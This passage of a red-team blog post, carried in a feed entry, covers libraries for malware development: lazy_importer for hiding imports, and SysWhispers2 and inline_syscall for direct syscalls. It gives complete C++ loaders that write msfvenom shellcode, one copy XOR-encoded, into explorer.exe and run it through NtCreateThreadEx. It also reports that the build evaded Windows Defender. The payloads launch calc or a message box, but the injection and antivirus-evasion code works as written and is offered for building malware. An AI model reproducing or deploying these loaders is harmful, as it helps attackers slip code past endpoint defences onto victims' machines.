<p>For example, if the above code was compiled, the function <code class="language-plaintext highlighter-rouge">CreateProcessW</code> is listed in the <strong>IAT</strong> and is flagged by <a href="https://www.winitor.com/download/">PEStudio</a>.</p>

<p><a href="/static/img/2022-02-16-libraries-for-maldev/func-in-iat.png"><img src="/static/img/2022-02-16-libraries-for-maldev/func-in-iat.png" alt="CreateProcessW Lsited in IAT" /></a></p>

<p>This artifact can be easily hidden by utilizing the <a href="https://github.com/JustasMasiulis/lazy_importer">JustasMasiulis/lazy_importer</a> header. Using it is as simple as importing the header file <code class="language-plaintext highlighter-rouge">lazy_importer.hpp</code> and invoking the <code class="language-plaintext highlighter-rouge">LI_FN()</code> function. For example:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"lib/lazy_importer.hpp"</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>

    <span class="n">PROCESS_INFORMATION</span> <span class="n">pi</span><span class="p">;</span>
    <span class="n">STARTUPINFO</span> <span class="n">si</span> <span class="o">=</span> <span class="p">{</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">si</span><span class="p">)</span> <span class="p">};</span>

    <span class="n">LI_FN</span><span class="p">(</span><span class="n">CreateProcessW</span><span class="p">)(</span><span class="s">L"C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">notepad.exe"</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">si</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pi</span><span class="p">);</span>

    <span class="n">WaitForSingleObject</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">INFINITE</span><span class="p">);</span>
    
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">);</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
<span class="p">}</span>

</code></pre></div></div>
<blockquote>
  <p><em><strong>NOTE:</strong> Change <code class="language-plaintext highlighter-rouge">NULL</code> values to <code class="language-plaintext highlighter-rouge">nullptr</code> otherwise you’ll get a compilation error.</em></p>
</blockquote>

<p>If we look at the <strong>IAT</strong> again, the <code class="language-plaintext highlighter-rouge">CreateProcessW</code> function is not listed anymore.</p>

<p><a href="/static/img/2022-02-16-libraries-for-maldev/no-func-in-iat.png"><img src="/static/img/2022-02-16-libraries-for-maldev/no-func-in-iat.png" alt="CreateProcessW Gone from IAT" /></a></p>

<p>The following could also be used as an alternative library to dynamically import functions and modules:</p>

<ul>
  <li><a href="https://github.com/AmJayden/Lazy-Importer">AmJayden/Lazy-Importer</a></li>
</ul>

<h2 id="syswhisper2">SysWhisper2</h2>

<p>If you’ve been into AV/EDR evasion, I’m sure you’re aware that using <strong>syscalls</strong> is a well-known method to bypass detection controls (such as “User-land Hooking”) by jumping into kernel-mode. And if you heard about <strong>syscalls</strong>, most likely you’re familiar with the tool <a href="https://github.com/jthuraisamy/SysWhispers2">jthuraisamy/SysWhispers2</a>.</p>

<p>To use the tool, just run the python script <code class="language-plaintext highlighter-rouge">syswhispers.py</code> with the “<strong>Nt*</strong>” functions you want to use to generate the required files. For example:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python3 syswhispers.py <span class="nt">-f</span> NtOpenProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtClose <span class="nt">-o</span> syscalls

                  <span class="nb">.</span>                         ,--.
,-. <span class="nb">.</span> <span class="nb">.</span> ,-. <span class="nb">.</span> , , |-. o ,-. ,-. ,-. ,-. ,-.    /
<span class="sb">`</span>-. | | <span class="sb">`</span>-. |/|/  | | | <span class="sb">`</span>-. | | |-<span class="s1">' |   `-. ,-'</span>
<span class="sb">`</span>-<span class="s1">' `-| `-'</span> <span class="s1">' '</span>   <span class="s1">' '</span> <span class="s1">' `-'</span> |-<span class="s1">' `-'</span> <span class="s1">'   `-'</span> <span class="sb">`</span><span class="nt">---</span>
     /|                     |  @Jackson_T
    <span class="sb">`</span>-<span class="s1">'                     '</span>  @modexpblog, 2021

SysWhispers2: Why call the kernel when you can whisper?

Complete! Files written to:
        syscalls.h
        syscalls.c
        syscallsstubs.asm
</code></pre></div></div>

<p>Then do the following:</p>

<ol>
  <li>Copy the generated H/C/ASM files into the project folder.</li>
  <li>In Visual Studio, go to Project → Build Customizations… and enable MASM.</li>
  <li>In the Solution Explorer, add the .h and .c/.asm files to the project as header and source files, respectively.</li>
  <li>Go to the properties of the ASM file, and set the Item Type to Microsoft Macro Assembler.</li>
  <li>Ensure that the project platform is set to x64. 32-bit projects are not supported at this time.</li>
</ol>

<p>The “<strong>Nt*</strong>” functions can now be used. For example:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"lib/syscalls.h"</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
	<span class="c1">// PID of explorer.exe</span>
	<span class="n">DWORD</span> <span class="n">pid</span> <span class="o">=</span> <span class="mi">11256</span><span class="p">;</span>

	<span class="c1">// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c </span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00</span><span class="s">"</span><span class="p">;</span>
	<span class="n">SIZE_T</span> <span class="n">shellcodeSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span>

	<span class="n">HANDLE</span> <span class="n">hProcess</span><span class="p">;</span>
	<span class="n">OBJECT_ATTRIBUTES</span> <span class="n">objectAttributes</span> <span class="o">=</span> <span class="p">{</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">objectAttributes</span><span class="p">)</span> <span class="p">};</span>
	<span class="n">CLIENT_ID</span> <span class="n">clientId</span> <span class="o">=</span> <span class="p">{</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="n">pid</span><span class="p">,</span> <span class="nb">NULL</span> <span class="p">};</span>
	<span class="n">NtOpenProcess</span><span class="p">(</span><span class="o">&amp;</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">objectAttributes</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">clientId</span><span class="p">);</span>

	<span class="n">LPVOID</span> <span class="n">baseAddress</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">NtAllocateVirtualMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">baseAddress</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">shellcodeSize</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>

	<span class="n">NtWriteVirtualMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">baseAddress</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">shellcode</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>

	<span class="n">HANDLE</span> <span class="n">hThread</span><span class="p">;</span>
	<span class="n">NtCreateThreadEx</span><span class="p">(</span><span class="o">&amp;</span><span class="n">hThread</span><span class="p">,</span> <span class="n">GENERIC_EXECUTE</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">baseAddress</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>

	<span class="n">NtClose</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
	<span class="n">NtClose</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The downside of using this tool is that it’s already signatured by AV, though it can still be bypassed as mentioned in my <a href="https://captmeelo.com/redteam/maldev/2021/11/18/av-evasion-syswhisper.html">previous post</a>.</p>

<blockquote>
  <p><em>For x86 syscalls, <a href="https://github.com/mai1zhi2/SysWhispers2_x86">mai1zhi2/SysWhispers2_x86</a> could be used.</em></p>
</blockquote>

<h2 id="inline_syscall">inline_syscall</h2>

<p>Aside from being detected by AVs, the other thing that I don’t like with <a href="https://github.com/jthuraisamy/SysWhispers2">jthuraisamy/SysWhispers2</a> is the additional task of re-running the tool and re-importing the generated files every time I need to add or use a new “<strong>Nt*</strong>” functions.</p>

<p>Good thing, <a href="https://github.com/JustasMasiulis/inline_syscall">JustasMasiulis/inline_syscall</a> solves this issue. To use it, simply import the following files as header files:</p>

<ul>
  <li><a href="https://github.com/JustasMasiulis/inline_syscall/raw/master/include/in_memory_init.hpp">in_memory_init.hpp</a></li>
  <li><a href="https://github.com/JustasMasiulis/inline_syscall/raw/master/include/inline_syscall.hpp">inline_syscall.hpp</a></li>
  <li><a href="https://github.com/JustasMasiulis/inline_syscall/raw/master/include/inline_syscall.inl">inline_syscall.inl</a></li>
</ul>

<p>Then call the initialization function <code class="language-plaintext highlighter-rouge">jm::init_syscalls_list()</code> before using the <code class="language-plaintext highlighter-rouge">INLINE_SYSCALL(function_pointer)</code> and <code class="language-plaintext highlighter-rouge">INLINE_SYSCALL_T(function_type)</code> macros.</p>

<blockquote>
  <p><em>NOTE: If you’re using Visual Studio, make sure to use <code class="language-plaintext highlighter-rouge">LLVM (clang-cl)</code> as the <strong>Platform Toolset</strong>.</em>
<a href="/static/img/2022-02-16-libraries-for-maldev/inline-syscall-clang.png"><img src="/static/img/2022-02-16-libraries-for-maldev/inline-syscall-clang.png" alt="Setting the Platform Toolset" /></a></p>
</blockquote>

<p>Here’s an example code that utilizes the <code class="language-plaintext highlighter-rouge">INLINE_SYSCALL</code> macro:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"lib/in_memory_init.hpp"</span><span class="cp">
</span>
<span class="k">typedef</span> <span class="k">struct</span> <span class="nc">_UNICODE_STRING</span>
<span class="p">{</span>
	<span class="n">USHORT</span> <span class="n">Length</span><span class="p">;</span>
	<span class="n">USHORT</span> <span class="n">MaximumLength</span><span class="p">;</span>
	<span class="n">PWSTR</span>  <span class="n">Buffer</span><span class="p">;</span>
<span class="p">}</span> <span class="n">UNICODE_STRING</span><span class="p">,</span> <span class="o">*</span> <span class="n">PUNICODE_STRING</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="nc">_OBJECT_ATTRIBUTES</span>
<span class="p">{</span>
	<span class="n">ULONG</span>           <span class="n">Length</span><span class="p">;</span>
	<span class="n">HANDLE</span>          <span class="n">RootDirectory</span><span class="p">;</span>
	<span class="n">PUNICODE_STRING</span> <span class="n">ObjectName</span><span class="p">;</span>
	<span class="n">ULONG</span>           <span class="n">Attributes</span><span class="p">;</span>
	<span class="n">PVOID</span>           <span class="n">SecurityDescriptor</span><span class="p">;</span>
	<span class="n">PVOID</span>           <span class="n">SecurityQualityOfService</span><span class="p">;</span>
<span class="p">}</span> <span class="n">OBJECT_ATTRIBUTES</span><span class="p">,</span> <span class="o">*</span> <span class="n">POBJECT_ATTRIBUTES</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="nc">_CLIENT_ID</span>
<span class="p">{</span>
	<span class="n">HANDLE</span> <span class="n">UniqueProcess</span><span class="p">;</span>
	<span class="n">HANDLE</span> <span class="n">UniqueThread</span><span class="p">;</span>
<span class="p">}</span> <span class="n">CLIENT_ID</span><span class="p">,</span> <span class="o">*</span> <span class="n">PCLIENT_ID</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="nc">_PS_ATTRIBUTE</span>
<span class="p">{</span>
	<span class="n">ULONG</span>  <span class="n">Attribute</span><span class="p">;</span>
	<span class="n">SIZE_T</span> <span class="n">Size</span><span class="p">;</span>
	<span class="k">union</span>
	<span class="p">{</span>
		<span class="n">ULONG</span> <span class="n">Value</span><span class="p">;</span>
		<span class="n">PVOID</span> <span class="n">ValuePtr</span><span class="p">;</span>
	<span class="p">}</span> <span class="n">u1</span><span class="p">;</span>
	<span class="n">PSIZE_T</span> <span class="n">ReturnLength</span><span class="p">;</span>
<span class="p">}</span> <span class="n">PS_ATTRIBUTE</span><span class="p">,</span> <span class="o">*</span> <span class="n">PPS_ATTRIBUTE</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="nc">_PS_ATTRIBUTE_LIST</span>
<span class="p">{</span>
	<span class="n">SIZE_T</span>       <span class="n">TotalLength</span><span class="p">;</span>
	<span class="n">PS_ATTRIBUTE</span> <span class="n">Attributes</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
<span class="p">}</span> <span class="n">PS_ATTRIBUTE_LIST</span><span class="p">,</span> <span class="o">*</span> <span class="n">PPS_ATTRIBUTE_LIST</span><span class="p">;</span>

<span class="n">NTSTATUS</span> <span class="n">NtOpenProcess</span><span class="p">(</span><span class="n">OUT</span> <span class="n">PHANDLE</span> <span class="n">ProcessHandle</span><span class="p">,</span> <span class="n">IN</span> <span class="n">ACCESS_MASK</span> <span class="n">DesiredAccess</span><span class="p">,</span> <span class="n">IN</span> <span class="n">POBJECT_ATTRIBUTES</span> <span class="n">ObjectAttributes</span><span class="p">,</span> <span class="n">IN</span> <span class="n">PCLIENT_ID</span> <span class="n">ClientId</span> <span class="n">OPTIONAL</span><span class="p">);</span>

<span class="n">NTSTATUS</span> <span class="n">NtAllocateVirtualMemory</span><span class="p">(</span><span class="n">IN</span> <span class="n">HANDLE</span> <span class="n">ProcessHandle</span><span class="p">,</span> <span class="n">IN</span> <span class="n">OUT</span> <span class="n">PVOID</span><span class="o">*</span> <span class="n">BaseAddress</span><span class="p">,</span> <span class="n">IN</span> <span class="n">ULONG</span> <span class="n">ZeroBits</span><span class="p">,</span> <span class="n">IN</span> <span class="n">OUT</span> <span class="n">PSIZE_T</span> <span class="n">RegionSize</span><span class="p">,</span> <span class="n">IN</span> <span class="n">ULONG</span> <span class="n">AllocationType</span><span class="p">,</span> <span class="n">IN</span> <span class="n">ULONG</span> <span class="n">Protect</span><span class="p">);</span>

<span class="n">NTSTATUS</span> <span class="n">NtWriteVirtualMemory</span><span class="p">(</span><span class="n">IN</span> <span class="n">HANDLE</span> <span class="n">ProcessHandle</span><span class="p">,</span> <span class="n">IN</span> <span class="n">PVOID</span> <span class="n">BaseAddress</span><span class="p">,</span> <span class="n">IN</span> <span class="n">PVOID</span> <span class="n">Buffer</span><span class="p">,</span> <span class="n">IN</span> <span class="n">SIZE_T</span> <span class="n">NumberOfBytesToWrite</span><span class="p">,</span> <span class="n">OUT</span> <span class="n">PSIZE_T</span> <span class="n">NumberOfBytesWritten</span> <span class="n">OPTIONAL</span><span class="p">);</span>

<span class="n">NTSTATUS</span> <span class="n">NtCreateThreadEx</span><span class="p">(</span><span class="n">OUT</span> <span class="n">PHANDLE</span> <span class="n">ThreadHandle</span><span class="p">,</span> <span class="n">IN</span> <span class="n">ACCESS_MASK</span> <span class="n">DesiredAccess</span><span class="p">,</span> <span class="n">IN</span> <span class="n">POBJECT_ATTRIBUTES</span> <span class="n">ObjectAttributes</span> <span class="n">OPTIONAL</span><span class="p">,</span> <span class="n">IN</span> <span class="n">HANDLE</span> <span class="n">ProcessHandle</span><span class="p">,</span> <span class="n">IN</span> <span class="n">PVOID</span> <span class="n">StartRoutine</span><span class="p">,</span> <span class="n">IN</span> <span class="n">PVOID</span> <span class="n">Argument</span> <span class="n">OPTIONAL</span><span class="p">,</span> <span class="n">IN</span> <span class="n">ULONG</span> <span class="n">CreateFlags</span><span class="p">,</span> <span class="n">IN</span> <span class="n">SIZE_T</span> <span class="n">ZeroBits</span><span class="p">,</span> <span class="n">IN</span> <span class="n">SIZE_T</span> <span class="n">StackSize</span><span class="p">,</span> <span class="n">IN</span> <span class="n">SIZE_T</span> <span class="n">MaximumStackSize</span><span class="p">,</span> <span class="n">IN</span> <span class="n">PPS_ATTRIBUTE_LIST</span> <span class="n">AttributeList</span> <span class="n">OPTIONAL</span><span class="p">);</span>

<span class="n">NTSTATUS</span> <span class="n">NtClose</span><span class="p">(</span><span class="n">IN</span> <span class="n">HANDLE</span> <span class="n">Handle</span><span class="p">);</span>

<span class="kt">int</span> <span class="n">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
	<span class="n">jm</span><span class="o">::</span><span class="n">init_syscalls_list</span><span class="p">();</span>

	<span class="c1">// PID of explorer.exe</span>
	<span class="n">DWORD</span> <span class="n">pid</span> <span class="o">=</span> <span class="mi">4396</span><span class="p">;</span>

	<span class="c1">// msfvenom --payload windows/x64/messagebox TEXT="Hello there." EXITFUNC=thread -f c</span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x9c\x28\xe1\x84\x90\x9f\x9f\x9f\x88\xb0\x60\x60\x60\x21\x31\x21\x30\x32\x31\x36\x28\x51\xb2\x05\x28\xeb\x32\x00\x5e\x28\xeb\x32\x78\x5e\x28\xeb\x32\x40\x5e\x28\xeb\x12\x30\x5e\x28\x6f\xd7\x2a\x2a\x2d\x51\xa9\x28\x51\xa0\xcc\x5c\x01\x1c\x62\x4c\x40\x21\xa1\xa9\x6d\x21\x61\xa1\x82\x8d\x32\x21\x31\x5e\x28\xeb\x32\x40\x5e\xeb\x22\x5c\x28\x61\xb0\x5e\xeb\xe0\xe8\x60\x60\x60\x28\xe5\xa0\x14\x0f\x28\x61\xb0\x30\x5e\xeb\x28\x78\x5e\x24\xeb\x20\x40\x29\x61\xb0\x83\x3c\x28\x9f\xa9\x5e\x21\xeb\x54\xe8\x28\x61\xb6\x2d\x51\xa9\x28\x51\xa0\xcc\x21\xa1\xa9\x6d\x21\x61\xa1\x58\x80\x15\x91\x5e\x2c\x63\x2c\x44\x68\x25\x59\xb1\x15\xb6\x38\x5e\x24\xeb\x20\x44\x29\x61\xb0\x06\x5e\x21\xeb\x6c\x28\x5e\x24\xeb\x20\x7c\x29\x61\xb0\x5e\x21\xeb\x64\xe8\x28\x61\xb0\x21\x38\x21\x38\x3e\x39\x3a\x21\x38\x21\x39\x21\x3a\x28\xe3\x8c\x40\x21\x32\x9f\x80\x38\x21\x39\x3a\x5e\x28\xeb\x72\x89\x29\x9f\x9f\x9f\x3d\x29\xa7\xa1\x60\x60\x60\x60\x5e\x28\xed\xf5\x7a\x61\x60\x60\x5e\x2c\xed\xe5\x47\x61\x60\x60\x28\x51\xa9\x21\xda\x25\xe3\x36\x67\x9f\xb5\xdb\x80\x7d\x4a\x6a\x21\xda\xc6\xf5\xdd\xfd\x9f\xb5\x28\xe3\xa4\x48\x5c\x66\x1c\x6a\xe0\x9b\x80\x15\x65\xdb\x27\x73\x12\x0f\x0a\x60\x39\x21\xe9\xba\x9f\xb5\x28\x05\x0c\x0c\x0f\x40\x14\x08\x05\x12\x05\x4e\x60\x2d\x05\x13\x13\x01\x07\x05\x22\x0f\x18\x60</span><span class="s">"</span><span class="p">;</span>
	<span class="n">SIZE_T</span> <span class="n">shellcodeSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span>

	<span class="c1">// XOR-decrypt the shellcode</span>
	<span class="kt">char</span> <span class="n">key</span> <span class="o">=</span> <span class="sc">'`'</span><span class="p">;</span>
	<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">shellcode</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">shellcode</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">key</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">HANDLE</span> <span class="n">hProcess</span><span class="p">;</span>
	<span class="n">OBJECT_ATTRIBUTES</span> <span class="n">objectAttributes</span> <span class="o">=</span> <span class="p">{</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">objectAttributes</span><span class="p">)</span> <span class="p">};</span>
	<span class="n">CLIENT_ID</span> <span class="n">clientId</span> <span class="o">=</span> <span class="p">{</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="n">pid</span><span class="p">,</span> <span class="nb">NULL</span> <span class="p">};</span>
	<span class="n">INLINE_SYSCALL</span><span class="p">(</span><span class="n">NtOpenProcess</span><span class="p">)(</span><span class="o">&amp;</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">objectAttributes</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">clientId</span><span class="p">);</span>

	<span class="n">LPVOID</span> <span class="n">baseAddress</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">INLINE_SYSCALL</span><span class="p">(</span><span class="n">NtAllocateVirtualMemory</span><span class="p">)(</span><span class="n">hProcess</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">baseAddress</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">shellcodeSize</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>

	<span class="n">INLINE_SYSCALL</span><span class="p">(</span><span class="n">NtWriteVirtualMemory</span><span class="p">)(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">baseAddress</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">shellcode</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>

	<span class="n">HANDLE</span> <span class="n">hThread</span><span class="p">;</span>
	<span class="n">INLINE_SYSCALL</span><span class="p">(</span><span class="n">NtCreateThreadEx</span><span class="p">)(</span><span class="o">&amp;</span><span class="n">hThread</span><span class="p">,</span> <span class="n">GENERIC_EXECUTE</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">baseAddress</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>

	<span class="n">INLINE_SYSCALL</span><span class="p">(</span><span class="n">NtClose</span><span class="p">)(</span><span class="n">hProcess</span><span class="p">);</span>
	<span class="n">INLINE_SYSCALL</span><span class="p">(</span><span class="n">NtClose</span><span class="p">)(</span><span class="n">hThread</span><span class="p">);</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<blockquote>
  <p><em><strong>NOTE:</strong> Make sure to create the necessary structs and typedefs as this tool won’t do it for you, unlike <a href="https://github.com/jthuraisamy/SysWhispers2">jthuraisamy/SysWhispers2</a>.</em></p>
</blockquote>

<blockquote>
  <p><em><strong>TIP:</strong> Use <a href="https://github.com/jthuraisamy/SysWhispers2">jthuraisamy/SysWhispers2</a> to generate the required structs and typedefs, then utilize <a href="https://github.com/JustasMasiulis/inline_syscall">JustasMasiulis/inline_syscall</a> when using syscalls.</em></p>
</blockquote>

<p>If we run the compiled binary against Windows Defender, it was not detected (at the time of writing) compared to the binary generated with <a href="https://github.com/jthuraisamy/SysWhispers2">jthuraisamy/SysWhispers2</a>.</p>

<p><a href="/static/img/2022-02-16-libraries-for-maldev/inline-syscall-not-detected.png"><img src="/static/img/2022-02-16-libraries-for-maldev/inline-syscall-not-detected.png" alt="inline_syscall not Detected by Win Defender" /></a></p>

<h2 id="conclusion">Conclusion</h2>

<p>That’s it for now! I know I may have missed some libraries, so if you know some easy to use libraries for malware development, feel free to let me know and I can add them here.</p>

<p>Huge thanks to all the people who are dedicating their time writing and open-sourcing tools, as well as those who keep sharing their knowledge and research. And if you can, <strong>please support and sponsor their work</strong>.</p>]]></content><author><name>Capt. Meelo</name></author><category term="redteam" /><category term="maldev" /><summary type="html"><![CDATA[A list of some easy-to-use libraries and how to use them for malware development.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://captmeelo.com/static/img/2022-02-16-libraries-for-maldev/inline-syscall-not-detected.png" /><media:content medium="image" url="https://captmeelo.com/static/img/2022-02-16-libraries-for-maldev/inline-syscall-not-detected.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>